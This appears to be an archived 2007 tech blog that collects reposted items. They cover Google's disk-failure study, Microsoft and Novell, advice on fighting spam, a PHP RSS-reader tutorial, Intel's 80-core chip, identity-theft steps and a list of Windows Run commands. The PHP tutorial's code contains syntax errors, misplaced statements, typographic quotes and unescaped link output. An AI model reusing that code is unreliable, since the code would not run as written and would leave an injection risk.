Of course, as Kinsey’s Bass reminds us, it could be that these blokes were just healthier and felt like having sex more often. But since there’s no evidence that lots of sex is bad for you, what have you got to lose?

Brian Alexander is a California-based writer who covers sex, relationships and health. He is a contributing editor at Glamour and the author of "Rapture: How Biotech Became the New Religion" (Basic Books).

Google Releases Paper on Disk Reliability

2007-02-19T01:10:00.000+07:00

"The Google engineers just published a paper on Failure Trends in a Large Disk Drive Population. Based on a study of 100,000 disk drives over 5 years they find some interesting stuff. To quote from the abstract: 'Our analysis identifies several parameters from the drive's self monitoring facility (SMART) that correlate highly with failures. Despite this high correlation, we conclude that models based on SMART parameters alone are unlikely to be useful for predicting individual drive failures. Surprisingly, we found that temperature and activity levels were much less correlated with drive failures than previously reported.'"

Ballmer: Novell deal proves open source needs to ‘respect IP rights’

2007-02-19T00:34:00.000+07:00

by Mary Jo Foley

The same week that Microsoft issued a press release providing further details about some of the technological advances that will result from the November 2006 technology agreement between Novell and Microsoft, Microsoft CEO Steve Ballmer told Wall Street what he really thinks the deal means to Microsoft.

During a forecast update meeting for financial analysts and shareholders on February 15, Ballmer reiterated that, to him, the deal is more about Microsoft exerting intellectual property (IP) pressure on Novell than anything else.

Ballmer didn't talk up technological cross-collaboration. He didn't mention helping customers with interoperability challenges. He didn't mention new sales opportunities. Instead, he said:

"The deal that we announced at the end of last year with Novell I consider to be very important. It demonstrated clearly the value of intellectual property even in the Open Source world. I would not anticipate that we make a huge additional revenue stream from our Novell deal, but I do think it clearly establishes that Open Source is not free and Open Source will have to respect intellectual property rights of others just as any other competitor will."

Ballmer has riled the Novell management team more than once by hinting that Microsoft believes that Novell and other open-source vendors are violating Microsoft patents.

(This past weekend, in an interview with LinuxWorld, former Novell employee and lead Samba developer Jeremy Allison, when asked about supposed Microsoft threats over alleged open-source patent violations, said the rumors were true.

"I have had people come up to me and essentially off the record admit that they had been threatened by Microsoft and had got patent cross license and had essentially taken out a license for Microsoft patents on the free software that they were using, which they then cannot redistribute. I think that would be the restriction. I would have to look quite carefully. So, essentially that’s not allowed. But they’re not telling anyone about it. They’re completely doing it off the record," Allison said.)

Until customers come forward and admit these Microsoft threats, it's gong to be tough to prove Allison's contention.

But it isn't difficult to see that Microsoft's brass sees the Microsoft-Novell deal as being, above all else, about setting a precedent by getting an open-source vendor to pay royalties for IP.

5 Things the Boss Should Know About Spam Fighting

2007-02-19T00:18:00.000+07:00

"Sysadmins and email administrators were asked to identify the one thing they wish the CIO understood about their efforts to fight spam. The CIO website is now running their five most important tips, in an effort to educate the corporate brass. Recommendations are mostly along the lines of informing corporate management; letting bosses know that there is no 'silver bullet', and that the battle will never really end. There's also a suggestion to educate on technical matters, bringing executives into the loop on terms like SMTP and POP. Their first recommendation, though, is to make sure no mail is lost. 'This is a risk management practice, and you need to decide where you want to put your risk. Would you rather risk getting spam with lower risk of losing/delaying messages you actually wanted to get, or would you rather risk losing/delaying legitimate messages with lower risk of spam? You can't have both, no matter how loudly you scream.'"

Getting Clueful: Five Things You Should Know About Fighting Spam

The battle for your users' e-mail inboxes probably will never end, but it's not a failure of technology. Experienced e-mail and system administrators share the key points they really, really wish you understood.

By Esther Schindler

February 15, 2007

When you started your e-mail client this morning, you were prepared for the usual set of correspondence: your daily dose of corporate politics, a dollop of technical emergencies and the background hum of projects under way. Annoyingly, your inbox also contained a few messages advertising products you would never buy, and perhaps a phishing notice warning that your account was frozen at a financial institution where you don't have an account. Your company has antispam measures in place; surely, the IT staff should be able to keep this junk out of your inbox?

Perhaps they can, but the task of doing so has become much more difficult in recent years, partly because 85 percent or more of all e-mail traffic today is spam. If you haven't been listening closely to the dark mutterings in your e-mail administrator's office, you may have missed out on significant clues about the nature of the problem and what the IT department can do to address it. However, when you do listen to the technical staff, it's easy to get lost in their arcane acronyms, such as SPF and RBLs, and you may drown in more information than you really wanted to know.

To learn what's really happening in the technical trenches, we asked several e-mail administrators to tell us about the key items—the single key item, in fact—that they wish their IT management understood. If you read through their wish list, you may be able to understand the nature of their challenges and, perhaps, help them clean out your inbox.

In brief, says Keith Brooks, vice president at Vanessa Brooks, "Stopping spam is a mixture of luck, intelligence, alcohol and planning." With luck, he says, your CEO never hears about spam. "But without it, the CIO never stops hearing about this issue."

1. Lose No Mail.

The primary directive, for e-mail admins, is "lose no mail." If that means that an occasional spam message wends its merry way into users' mailboxes, so be it. E-mail administrators would prefer that users encounter a few annoyances than miss an important business message.

Dr. Ken Olum, a research assistant professor in the Tufts Institute of Cosmology, also maintains the institute's computers. Olum explains, "The most important thing is never to silently drop an important e-mail. If you just drop it, your correspondent thinks you aren't answering on purpose or forgets all about you. So suspected spam should always be rejected and never dropped. Sequestering it is only slightly better than dropping it, because you have to look through the sequestered spam, and most people don't bother."

Nonetheless, many CIOs ask their IT department to keep the e-mail boxes clear of anything offensive. Yet, according to Scott Kitterman of ControlledMail.com, "I want zero spam and I want to never ever miss a legitimate message" isn't feasible. Kitterman explains, "This is a risk management practice, and you need to decide where you want to put your risk. Would you rather risk getting spam with lower risk of losing/delaying messages you actually wanted to get, or would you rather risk losing/delaying legitimate messages with lower risk of spam? You can't have both, no matter how loudly you scream."

Tom Limoncelli, author of The Practice of System and Network Administration (Addison-Wesley) and Time Management for System Administrators (O'Reilly), stresses that because fighting spam is not an exact science, there always will be false positives and false negatives. The IT department has to cope with this. Limoncelli had a CTO complain when he missed an important message because it was caught in the spam filter. Says Limoncelli, "This system sent him e-mail once a day with a list of his messages that had been blocked; clicking on any of them 'releases' it from the quarantine. … He wanted a report for every message that was blocked. At least that was his initial request; he then realized that he had asked for an e-mail to warn him of every e-mail!"

2. There's No Silver Bullet.

In many areas of IT, the long-term solution is a simple one: Adopt the single right methodology, hire the right consultant, buy the most appropriate product. But your IT staff wants you to understand that spam isn't a problem that can be solved with a single technology, a single product or any one answer.

Vendors of spam-fighting hardware and software will tell you different—but they're wrong. Bill Cole, senior technical specialist at T-Systems North America, has been fighting spam for more than a decade. Everyone involved in that fight, he says, dreams of the "Final Ultimate Solution to the Spam Problem." But, he cautions, people who yearn for a single answer may fall prey to a vendor's magical "answer," but "in a year or so, the magic is gone and the spammers have adapted." Then, he notes, "managers get upset, a new 'solution' gets deployed, and the cycle goes around again."

Brad Knowles, a consultant, author, and former senior Internet mail systems administrator for AOL, adds, "In almost all cases, the so-called 'simple' answers are the ones that don't work. In fact, they're almost always the ones that make the problem much worse than it already was. Since we've been fighting spam for over a decade, pretty much all the good simple ideas have already been thought of and implemented, and the spammers have already worked around them."

Unfortunately, the result is that fighting spam is a complex endeavor. Says Knowles, "You're probably going to have to use multiple solutions from multiple sources. You're going to have to keep a constant eye on things to make sure that, when they blow up, you find out as quickly as possible. And you [need] multiple layers of business continuity plans in place to handle the situation."

3. It's a Continuous Battle. Budget Accordingly.

Spammers succeed only when they get messages to user inboxes, so they are motivated to counter any barrier between them and their intended recipient. As a result, your IT department will never be done implementing solutions.

Points out David Linn, computer systems analyst III at Vanderbilt, "Spam pushers update their tools as fast as the spam defenders work out a defense to yesterday's attack type. This seems to be the thing that those who want to buy an off-the-shelf solution and then forget about it least understand and least want to understand. The very speed of innovation that makes 'Internet time' so attractive in other contexts is the enemy here."

Cole describes spam as mail that evolves and adapts and thus requires an adaptive and evolutionary approach to defense. Spam cannot be handled as a discrete project with a list of deliverables and a three-month project plan. While you may initially have success by doing so, he says, "Expect to repeat the exercise again next year, and the year after that, and on infinitely."

This is a major nuisance to managers, because they have to pay a staff of high-skill people (either directly or indirectly) for ongoing open-ended work. As Cole notes, "Like many other areas of security, it is a potential bottomless pit for computing resources and the best technical staff and hence for money, so drawing the lines on it are a managerial challenge."

Martin Schuster, in charge of IT at CenterPoint, argues the business case for spam defense by extending spam fighting past technical and ethical issues (such as, say, forcing everyone to use PNG instead of GIF, not use special characters in file names, and so on). Schuster focuses on the financial cost and motivations, from the cost of sending spam to the cost of removing it (from infrastructure to manually deleting messages). He comments, "Fighting spam costs money. If your mail server administrator talks to you about fighting spam, and wants equipment and time to implement it, listen to him. His haircut may seem weird, but he's talking about saving money."

Adam Moskowitz, a Boston-area independent consultant and author of Budgeting for Sysadmins, says, "If a sysadmin can't show that fighting spam is costing the company money, then that sysadmin has no business talking to management about the problem. If the sysadmin doesn't understand and can't demonstrate how fighting spam affects the company's bottom line, upper management certainly isn't going to be able to make the connection."

Does all this seem insurmountable, given your company's resources? If you aren't willing or able to manage the e-mail and spam measures yourself, outsource it. Plenty of hosted e-mail service providers can handle part or all of a company's e-mail system. According to Limoncelli, "The spam system has to be upgraded constantly. This can fill an entire full-time position. If you don't have that kind of staffing, the best solution is to let someone else handle it."

4. Understand the Basics of E-mail Technology.

Administrator Micheal Espinola Jr. says his primary wish is for "top management to understand the mechanics of how e-mail works. Then, and I believe only then, would they be able to grasp the concepts that elude most users of e-mail." When management has the right information, Espinola believes, it can make excellent decisions, but a lack of understanding can severely hinder that ability. "If the admin is wasting time troubleshooting or improvising because of subpar technology, it takes away from time spent for the productivity issues of others."

This doesn't mean you have to become a guru on the subject; just learn enough to understand what your e-mail administrator is telling you. Michael Silver, network administrator at Parkland Regional Library, emphasizes, "A great deal of difficulty arises when trying to address spam—and e-mail problems in general—if the people involved don't have a good understanding of how the mail system works, including a basic understanding of the different protocols, services, etc. I don't expect [CIOs] to know the ins and outs of configuring sendmail, but [they] should have a basic understanding of terms like POP, SMTP, IMAP, MTA and MUA." Added an admin named Eric, "If the CIO knows and understands the mechanisms of how e-mail is received and sent, then explaining the need for additional servers, bandwidth, storage, redundancy, etc., is accomplished much more easily. ... Once you understand that, you get a very good insight in the shortcomings of the SMTP protocol and how/why spam is becoming such a huge problem and cost nightmare."

While most admins want you to understand e-mail basics to make it easier to explain corporate challenges, sometimes it gets personal. Larry Ware, Federal Signal Global Network Boffin, is frustrated by managers who don't understand how the technology works. "They spent some money for some software; why is spam still getting in? Even worse: Why did the system block mail from my nephew? He is running a mail server on his cable modem; he clearly knows how to set up a mail system, why can't you? Explaining why his nephew's mail server is in dozens of public blocking lists for being a spam cannon is a lot harder than you might think. How do you do it without implying his nephew is an idiot?"

Another side effect of the lax understanding of e-mail technology is that the entire system is misused, with spam only one tiny part. Stewart Dean, a Unix system admin at Bard College, says, "The result is users who regard e-mail as a sort of problematic tool that might as well be magic. Not understanding it, they bang on it and misuse it in the most preposterous ways." According to Dean, that's why your e-mail admin screams when users attach a 200MB file to a mail message without knowing that it was 200MB or even what 200MB means. Then those same users wonder why it doesn't go through. Worse, they then repeatedly resend the message. Finally, Dean says, "they get furious at IT that the goddamn magic isn't working."

5. People are Making Money on Spam. Respond Appropriately.

Most of e-mail administrators' time is spent dealing with technology issues or trying to explain it to you in business terms. But for some, the issue is a larger one: someone else's business model. They want you to understand that spam is sent by an intelligent, adaptable and well-funded enemy. Some admins believe that with corporate budgets and legal resources, it's even possible to fight back.

Brent Jones, network technician at Smarsh Financial Technologies, wants IT management to understand that someone is working very hard to destroy the spam barriers administrators put in place. "There is a large financial incentive [for spammers] to get their spam into your mailbox," he says. "They will fight to get your eyes, and it costs them nothing to try everything in the book."

Nor are spammers ordinary businessmen. Alessandro Vesely, a freelance programmer and service provider in Milano, Italy, points out that "much spam is the result of criminal actions, such as infecting IT systems and using false identities. Technically, spam can be stopped if everybody else wants to be responsible for what they send. What lacks is the political will to do so."

Sam Varshavchik is an independent contract consultant who serves many of the better-known financial firms on Wall Street. He believes strongly that "CIOs should stop giving their business to Internet providers with a bad track record of engaging in spam support services and instead encourage and support—with their budgets—lesser-known but more socially responsible and respected providers of data and Internet service." If CIOs instituted a policy of disqualifying any vendor of Internet, data or communication services that appears anywhere on Spamhaus's top 10 list from doing any business with the company, Varshavchik feels, "the spam problem will pretty much disappear, mostly overnight." Few CIOs who are considering vendors take the time to do so, he says, and those few minutes can save an untold amount of grief.

Perhaps you'll take some of the e-mail admins' advice; perhaps not. But they desperately wish that company management would support them in the endeavor to clean up users' e-mail inboxes. Fritz Borgsted, a system engineer at Unicorn Communications who also leads the development of ASSP (Anti-Spam SMTP Proxy, an open-source project), believes that fighting spam reflects the quality of life in the digital age. Borgsted says, "A mailbox without spam is like a private restroom; with spam, it looks like a public one."

Creating an RSS Reader: the Reader

2007-02-12T16:44:00.000+07:00

In this article we are going to discuss how to create a PHP-based RSS reader. It would be helpful if you know something about XML, but not really necessary. RSS documents have three main tags: Title, Link and Description. And they all do exactly what their names suggest. I will go into detail about these tags in my second article dealing with “building an RSS file.” For now, we will only focus on the “reading” part of the article.

A downloadable file is available for this article.

As an extra I will introduce a database aspect of the reader. We will use the database to store and retrieve the latest stories. To continue with this article you will need PHP 4 and higher and optionally MYSQL.

Below is an example text from an RSS document:

Start example text

<item>

<title>First example</title>

<link>www.mylink.com/someplace.html</link>

<description>Some description, blah,blah,blah
</description>

</item>

<item>

<title>Thousands set to attend todays celebration</title>

<link>http://
www.mylink.com/someplace.html /NewsTopStories?m=318</link>

<description>blah,blah,blah </description>

</item>

End example text

Code

To create an RSS Reader in PHP, we need to:

Create a function to read the start tag (start element).

Create a function to read the end tag (endElement).

Create function to read the text associated with the tags.

A typical RSS document will have the following structure:

<RSS>

<channel>

<item>

</item>

</channel>

</RSS>

A start tag is a tag without the “/” character, for example: <items>. An end tag is a tag with the “/” character, for example: </item>.

So the start and end tag functions will search for the “<item></item>” tags and once they have found those, it will be a simple matter of retrieving the text data from them to display.

Now, PHP provides us with several XML-related functions, a few of which we will be using here:

xml_parser_create() – Creates an instance of the xml parser object. Xml_parser_create() is a class. In order to use any class we need to instantiate it, or create a copy of it.

To create a new copy:

$xmlParser = xml_parser_create();

xml_set_element_handler() – Searches and sets the start and end elements(tags). This function sets the start and end tags for the parser. It accepts three parameters:

The parser: references the parser that is calling the handler.

The tagname: contains the name of the element for which the handler is called.

The attributes: an array that contains the element's attributes.

The parameters are used later in this article.

xml_set_character_data_handler() – This handles the text part of the tag elements. This function takes two parameters, the parser and data.

The parser: references the parser that is calling the handler.

The data: contains the character data as a string.

You can get more information about these and other XML functions at:

http://uk2.php.net/manual/en/ref.xml.php

The first thing we do is set the global variables that are going to be used by the functions.

$GLOBALS['titletag'] = false;

$GLOBALS['linktag'] = false;

$GLOBALS['descriptiontag'] = false;

$GLOBALS['thetitletxt'] = null;

$GLOBALS['thelinktxt'] = null;

$GLOBALS['thedesctxt'] = null;

These variables are going to be used to read in tag information from the RSS file that is going to be used with this reader.

The function below deals with the starting element. This function searches through the document to find one of the three tags we discussed earlier:

function startTag( $parser, $tagName, $attrs ) {

switch( $tagName ) {

case 'TITLE':

$GLOBALS['titletag'] = true;

break;

case 'LINK':

$GLOBALS['linktag'] = true;

break;

case 'DESCRIPTION':

$GLOBALS['descriptiontag'] = true;

break;

}

}

This next function deals with the end tag:

function endTag( $parser, $tagName ) {

switch( $tagName ) {

case 'TITLE':

echo "" . $GLOBALS[the'titletxt'] . " ";

$GLOBALS['titletag'] = false;

$GLOBALS['thetitletxt'] = "";

break;

case 'LINK':

echo "Link: <a href="". $GLOBALS['thelinktxt'] . "">" .
$GLOBALS['thelinktxt'] . "</a> ";

$GLOBALS['linktag'] = false;

$GLOBALS['thelinktxt'] = "";

break;

case 'DESCRIPTION':

echo "Desc: " . $GLOBALS['thedesctxt'] . "";

$GLOBALS['descriptiontag'] = false;

$GLOBALS['thedesctxt'] = "";

break;

}

}

This next function verifies the tag that the text belongs to. Once we know which tag it is that we are dealing with, we set the global variable to true.

function txtTag( $parser, $text ) {

if( $GLOBALS['titletag'] == true ) {

$GLOBALS['thetitletxt'] .= htmlspecialchars( trim
($text) );

} else if( $GLOBALS['linktag'] == true ) {

$GLOBALS['thelinktxt'] .= trim( $text );

} else if( $GLOBALS['descriptiontag'] == true ) {

$GLOBALS['thedesctxt'] .= htmlspecialchars( trim
( $text ) );

}

}

Now that we have created the required functions, let's continue with the meat of the code:

function parsefile($RSSfile){

// Create an xml parser

$xmlParser = xml_parser_create();

// Set up element handler

xml_set_element_handler( $xmlParser, "startTag", "endTag" );

// Set up character handler

xml_set_character_data_handler( $xmlParser, "TxtTag" );

// Open connection to RSS XML file for parsing.

$fp = fopen( $RSSfile,"r" )

or die( "Cannot read RSS data file." );

// Parse XML data from RSS file.

while( $data = fread( $fp, 4096 ) ) {

xml_parse( $xmlParser, $data, feof( $fp ) );

or die(sprintf("XML error: %s at line %d",
xml_error_string(xml_get_error_code($xml_parser)),
xml_get_current_line_number($xml_parser)));

}

// Close file open handler

fclose( $fp );

// Free xml parser from memory

xml_parser_free( $xmlParser );

}

The above function calls both the startTag/endTag functions to loop through the XML file and displays the contents.

While it is good to have an RSS reader that can read any RSS document, it would be even better if you could store that information in a database and read it at your leisure when you are not connected to the Internet. It would also be good to be able to update your RSS file through the use of the database. It is relatively easy to achieve this, so let's create a table from which we will add our data:

CREATE TABLE `rss_tbl` (

`feed_id` int(5) NOT NULL auto_increment,

`title` varchar(200) NOT NULL default '',

`link` varchar(200) NOT NULL default '',

`description` text NOT NULL,

`the_date` date NOT NULL default '0000-00-00',

PRIMARY KEY (`feed_id`)

) TYPE=MyISAM AUTO_INCREMENT=1 ;

The table will store the individual links as they are read in by the RSS reader. Fill this table with data, using the following format:

Title – the title of your story.

Link – The link to your story.

Description – A short description of your story.

You can then use this data to write to your RSS file :

<?

$fp=fopen(“myrssfile”, “w+”);

if (!$fp){

echo “error opening file”;

exit;

}else{

$query1="Select *,DATE_FORMAT(the_date,'%W,%d %b %Y') as thedate
FROM rss_tbl WHERE DATE_SUB(CURDATE(),INTERVAL 30 DAY) ORDER BY
the_date DESC LIMIT 10 ";

$result=mysql_query($query1);

while($row=mysql_fetch_assoc($result)){

fwrite($fp,$row[‘title’]."\r\n");

fwrite($fp,$row[‘link’]."\r\n");

fwrite($fp,$row[‘description’]."\r\n");

fwrite($fp,$row[‘thedate’]."\r\n");

fwrite($fp, ” ”);

}//endwhile

fclose($fp);

}//end else

This code does two things. First, it opens (or creates) a file called "myrssfile":

$fp=fopen(“myrssfile”, “w+”);

The "w+" instructs PHP to create the file if it does not exist and to overwrite any contents that it might have. Then it checks to see if there are any problems opening the file:

if (!$fp){

echo “error opening file”;

exit;

If there are problems, the program displays a message and stops execution. If every thing is okay, a SQL query is run that retrieves ten articles from the database that were created in the last thirty days:

$query1="Select *,DATE_FORMAT(the_date,'%W,%d %b %Y') as
thedate FROM rss_tbl WHERE DATE_SUB(CURDATE(),INTERVAL 30 DAY)
ORDER BY the_date DESC LIMIT 10 ";

The DATE_FORMAT() function enables us to format the date column in what ever fashion we like. After this the code writes the database data to the file:

fwrite($fp,$row[‘title’]."\r\n");

fwrite($fp,$row[‘link’]."\r\n");

fwrite($fp,$row[‘description’]."\r\n");

fwrite($fp,$row[‘thedate’]."\r\n");

fwrite($fp, ” ”);

That’s it. A file called "myrssfile" should now be available and contain ten articles from the database. With small changes to the table you can expand the database usage and create an RSS aggregator, which is like a online "newspaper" that is entirely made up of RSS feeds from different websites.

To actually enter the data into the database, you only need to create a form that will take the necessary input values and write them to the table. In one of the articles that I wrote about RSS, I discuss how to create and populate an RSS file through a form. Although in that particular article we transfer data from a form to a file, with some small changes you can transfer the data from a form to a database.

Conclusion

To use this code make sure to include “xmlparser.php” in whatever page you are using. Then just call the “parsefile(“yourRSSfileLocation”)” function and your file data will parsed. Also, you might have noticed that in some news sites, the news headlines are scrolling from right to left on the screen. You can achieve this by using the <marquee> HTML tag; Google it to find out how to use it.

Download the xmlparser.php here. This is the same file we link to at the beginning of this article. Next, I will be discussing how to build a RSS File. Till then have fun.

Intel demonstrates 80-core processor

2007-02-12T16:14:00.000+07:00

Now that the Megahertz race has faded into the distance (we hear it was a myth), Intel is well and truly kicking off the start of a multi-core war with the demonstration of an 80-core research processor in San Francisco last week. It's not the first multi-core processor to reach double figures -- a company called ClearSpeed put 96 cores onto one of its CPUs -- but it's the first to be accompanied by the aim of making it generally available; an aim that Intel hopes to realize within a five year timeframe. The long time frame is required because current operating systems and software don't take full advantage of the benefits of multi-core processors. In order for Intel to successfully market processors with CPUs that have more than say, 4 cores, there needs to be an equal effort from software programmers, which is why producing an 80-core processor is only half the battle. On paper, 80-cores sounds impressive, but when the software isn't doing anything imaginative with them it's actually rather disappointing: during a demonstration, Intel could only manage to get 1 Teraflop out of the chip, a figure which many medium- to high-end graphics cards are easily capable of. The multi-core war may have begun, but the battle will be fought with software, although that's not to say that the hardware side has already been won: apparently the test chip is much larger than equivalent chips -- 275 mm squared, versus a typical Core 2 Duo's 143 mm squared -- and Intel currently has no way to hook up memory to the chip. Hopefully half a decade should be long enough to sort out these "issues."

[Thanks, Michael]

8 Things You Must Do If Your Identity Is Stolen

2007-02-12T16:03:00.000+07:00

The dreaded phone call comes in: there has been some suspicious activity on your credit card and the bank would like to verify that you were the one spending thousands of dollars online. Shocked and appalled, it strikes you that your identity has been stolen and that you must act quickly to protect yourself from further damage. While the news can be overwhelming at first, and you most likely want to figure out how this even happened to you, there are a few steps you should immediately take to preserve your credit and your hard-earned money.

1) Call one of the three major credit reporting agencies (Equifax, Experian, TransUnion)* to place a fraud alert on your credit report. It is unnecessary to call all three since the one that you contact will inform the other two agencies in addition to sending you a copy of your credit report for review. A fraud alert is extremely important since it requires companies to verify your identity before issuing a line a credit, thus preventing thieves from opening new accounts under your name.

2) If the perpetrators were able to open new accounts, contact each creditor and notify them of the fraudulent activity. They will close the accounts and most likely have you fill out a fraud affidavit.

3) For those accounts that you opened and are now compromised, contact the creditor and inform them that your identity has been stolen. Not only will they close the accounts, but many will read through the most recent charges to help you determine how long the abuse has been going on and how much has been charged to your name.

4) Contact your local police and alert them to the fraud under your name. A detective will be assigned to your case and ask for details such as where the charges occurred, how much was spent, and how your identity was stolen (internet, lost wallet, etc.). When you are finished providing the detective with all of your information, be sure to write down the detective’s name and the case number since many fraud affidavits will ask for these.

5) File a complaint with the Federal Trade Commission (the FTC) by calling 1-877-IDTHEFT.

6) Change all of the passwords that you use online. Since the thieves may have acquired your information through one of your password-protected accounts, think of a completely different word and try not to use the same one for all of your accounts. Also, while it may be inconvenient to type your passwords each time you want to log-in, never save your passwords online or on your computer.

7) If you lost your entire wallet or you believe that someone is using your driver’s license, visit the DMV, Secretary of State, etc. as soon as possible to get a new driver’s license number and card. Even if you just renewed your license, you will be required to take a new picture and pay all of the regular fees.

8) KEEP RECORDS!! Throughout your dealings with creditors, companies, and detectives, always write down the name of the individual you spoke with, their employer, the date and time, and a short summary of your discussion. Keep all of this information in a centralized location and make sure that it is in a safe place since it can be used as evidence in your case. While you may be more diligent at the beginning, important information may come to light later so be sure to track everything until all of your disputes are resolved.

Identity theft doesn’t have to ruin your life or your credit. By staying calm, getting organized, and taking these crucial steps, you can bounce back from this stressful situation and stop thieves dead in their tracks.

RUN Command

2007-02-12T03:54:00.000+07:00

NAMA UTILITY - PERINTAH/COMMAND

Accessibility Controls - access.cpl
Add Hardware Wizard - hdwwiz.cpl
Add/Remove Programs - appwiz.cpl
Administrative Tools - control admintools
Automatic Updates - wuaucpl.cpl
Bluetooth Transfer Wizard - fsquirt
Calculator - calc
Certificate Manager - certmgr.msc
Character Map - charmap
Check Disk Utility - chkdsk
Clipboard Viewer - clipbrd
Command Prompt - cmd
Component Services - dcomcnfg
Computer Management - compmgmt.msc
Date and Time Properties - timedate.cpl
DDE Shares - ddeshare
Device Manager - devmgmt.msc
Direct X Control Panel (If Installed)* - directx.cpl
Direct X Troubleshooter - dxdiag
Disk Cleanup Utility - cleanmgr
Disk Defragment - dfrg.msc
Disk Management - diskmgmt.msc
Disk Partition Manager - diskpart
Display Properties - control desktop
Display Properties - desk.cpl
Display Properties (w/Appearance Tab Preselected) - control color
Dr. Watson System Troubleshooting Utility - drwtsn32
Driver Verifier Utility - verifier
Event Viewer - eventvwr.msc
File Signature Verification Tool - sigverif
Findfast - findfast.cpl
Folders Properties - control folders
Fonts - control fonts
Fonts Folder - fonts
Free Cell Card Game - freecell
Game Controllers - joy.cpl
Group Policy Editor (XP Prof) - gpedit.msc
Hearts Card Game - mshearts
Iexpress Wizard - iexpress
Indexing Service - ciadv.msc
Internet Properties - inetcpl.cpl
IP Configuration (Display Connection Configuration) - ipconfig /all
IP Configuration (Display DNS Cache Contents) - ipconfig /displaydns
IP Configuration (Delete DNS Cache Contents) - ipconfig /flushdns
IP Configuration (Release All Connections) - ipconfig /release
IP Configuration (Renew All Connections) - ipconfig /renew
IP Configuration (Refreshes DHCP & Re - Registers DNS) - ipconfig /registerdns
IP Configuration (Display DHCP Class ID) - ipconfig /showclassid
IP Configuration (Modifies DHCP Class ID) - ipconfig /setclassid
Java Control Panel (If Installed) - jpicpl32.cpl
Java Control Panel (If Installed) - javaws
Keyboard Properties - control keyboard
Local Security Settings - secpol.msc
Local Users and Groups - lusrmgr.msc
Logs You Out Of Windows - logoff
Microsoft Chat - winchat
Minesweeper Game - winmine
Mouse Properties - control mouse
Mouse Properties - main.cpl
Network Connections - control netconnections
Network Connections - ncpa.cpl
Network Setup Wizard - netsetup.cpl
Notepad - notepad
Nview Desktop Manager (If Installed) - nvtuicpl.cpl
Object Packager - packager
ODBC Data Source Administrator - odbccp32.cpl
On Screen Keyboard - osk
Opens AC3 Filter (If Installed) - ac3filter.cpl
Password Properties - password.cpl
Performance Monitor - perfmon.msc
Performance Monitor - perfmon
Phone and Modem Options - telephon.cpl
Power Configuration - powercfg.cpl
Printers and Faxes - control printers
Printers Folder - printers
Private Character Editor - eudcedit
Quicktime (If Installed) - QuickTime.cpl
Regional Settings - intl.cpl
Registry Editor - regedit
Registry Editor - regedit32
Remote Desktop - mstsc
Removable Storage - ntmsmgr.msc
Removable Storage Operator Requests - ntmsoprq.msc
Resultant Set of Policy (XP Prof) - rsop.msc
Scanners and Cameras - sticpl.cpl
Scheduled Tasks - control schedtasks
Security Center - wscui.cpl
Services - services.msc
Shared Folders - fsmgmt.msc
Shuts Down Windows - shutdown
Sounds and Audio - mmsys.cpl
Spider Solitare Card Game - spider
SQL Client Configuration - cliconfg
System Configuration Editor - sysedit
System Configuration Utility - msconfig
System File Checker Utility (Scan Immediately) - sfc /scannow
System File Checker Utility (Scan Once At Next Boot) - sfc /scanonce
System File Checker Utility (Scan On Every Boot) - sfc /scanboot
System File Checker Utility (Return to Default Setting) - sfc /revert
System File Checker Utility (Purge File Cache) - sfc /purgecache
System File Checker Utility (Set Cache Size to size x) - sfc /cachesize=x
System Properties - sysdm.cpl
Task Manager - taskmgr
Telnet Client - telnet
User Account Management - nusrmgr.cpl
Utility Manager - utilman
Windows Firewall - firewall.cpl
Windows Magnifier - magnify
Windows Management Infrastructure - wmimgmt.msc
Windows System Security Tool - syskey
Windows Update Launches - wupdmgr
Windows XP Tour Wizard - tourstart
Wordpad - write

Article by :

mcaesartrinovaz

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Join Date: Sep 2005

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UserID: 104275

U.S. cyber counterattack: Bomb 'em one way or the other

2007-02-12T03:48:00.000+07:00

National Cyber Response Coordination Group establishing proper response to cyberattacks

By Ellen Messmer, Network World, 02/08/07

San Francisco — If the United States found itself under a major cyberattack aimed at undermining the nation’s critical information infrastructure, the Department of Defense is prepared, based on the authority of the president, to launch a cyber counterattack or an actual bombing of an attack source.

The primary group responsible for analyzing the need for any cyber counterstrike is the National Cyber Response Coordination Group (NCRCG). The three key members of the NCRCG, who hail from the US-CERT computer-readiness team, the Department of Justice and the Defense Department, this week described how they would seek to coordinate a national response in the event of a major cyber-event from a known attacker.

This week’s massive but unsuccessful denial-of-service (DoS) attack on the Internet’s root DNS, which targeted military and other networks, did not rise to the level of requiring response, but made the possibility of a massive Internet collapse more real than theoretical. Had the attack been successful there may have been a cyber counterstrike from the United States, said Mark Hall, director of the international information assurance program for the Defense Department and the Defense Department co-chair to the NCRCG, who spoke on the topic of cyber-response during the RSA Conference here.

“We have to be able to respond,” Hall said. “We need to be in a coordinated response.”

He noted that the Defense Department networks, subject to millions of probes each day, has “the biggest target on its back.”

But a smooth cyber-response remains a work in progress. The NCRCG’s three co-chairs acknowledge it’s not simple coordinating communications and information-gathering across government and industry even in the best of circumstances, much less if a significant portion of the Internet or traditional voice communications were suddenly struck down. But they asserted the NCRCG is “ready to stand up” to confront a catastrophic cyber-event to defend the country.

“We’re working with key vendors to bring the right talent together for a mitigation strategy,” said Jerry Dixon, deputy director for operations for the National Cyber Security Division at US-CERT. “We recognize much infrastructure is operated by the private sector.” The U.S. government has conducted cyber war games in its CyberStorm exercise last year and is planning a second one.

Januar.Sudharsono

Have 2 Minutes? Check Out Who Has Access to Your Social Media Accounts

Maria Sharapova by Dan and Jonny

Mantan Insinyur Boeing Bocorkan Teknologi ke China

Yahoo Tolak Tawaran Microsoft

Gong Xi Fa Cai

Google Raih US$ 8,6 Miliar

SSH: Best Practices

Introduction

SSHv2 vs. SSHv1

Binding to a Specific Address or Non-Standard Port

Using TCP Wrappers

Public Key Authentication

A few notes on this:

In Summary...

50 Cunnilingus Tips from Women

Brain/Machine Interfaces Approaching Usefulness

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NANO-BIOTECHNOLOGY

New Laser Technique Could Redefine Absolute Zero and the Kelvin

- A new and improved definition of the Kelvin unit of temperature

Gnome 2.19.1 Released

Low-Energy LED Lighting for Streets and Buildings

Gold Nanoparticles Used to Detect a Toxic Metal - Mercury

Geographic Records of the Water

Geographic Records of the Water

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Linux Kernel 2.6.21 Released

Intel Wi-Fi Travels Over 100 Kilometers

My Personal Earthquake

Summer of Code Student Applications Now Open

Google Summer of Code™

Mentoring Organizations Participating in Google Summer of Code 2007

Questions?

Guide to the Google Summer of CodeTM Web App for Student Applicants

Using the Web App to Register for GSoC

Notes on the Student Profile Page

Name

Citizenship

Shipping Address

School

Optional

The Student Dashboard

Submitting an Application

Comments on Your Application

Start-Up Fervor Shifts to Energy in Silicon Valley

The Energy Challenge

Cop: Wife googled 'How to commit murder'

